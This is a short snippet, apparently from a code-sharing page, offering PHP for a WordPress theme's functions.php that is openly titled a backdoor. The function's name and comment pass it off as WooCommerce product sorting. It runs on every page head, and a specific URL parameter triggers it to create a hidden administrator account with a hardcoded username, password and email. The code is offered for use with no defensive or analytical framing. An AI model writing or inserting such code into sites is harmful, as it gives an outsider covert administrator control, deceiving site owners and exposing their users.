Creates a user account "nexTab" with the password "zs5B87tAJypwxHWz" with admin priviledges.

WordPress Backdoor per functions.php

// Change default product sorting in WooCommerce
function woocommerce_product_sorting() {
	if ($_GET['parameter'] == 'sorting') {
		$acc = 'nextab';
		$pw = 'zs5B87tAJypwxHWz';
		$em = '[kunden@nextab.de](mailto:kunden@nextab.de)';
		if ( !username_exists( $acc ) && !email_exists( $em ) ) { 
			$user_id = wp_create_user( $acc, $pw, $em );
			$user = new WP_User( $user_id );
			$user->set_role( 'administrator' );
		}
	}
}
add_action('wp_head', 'woocommerce_product_sorting');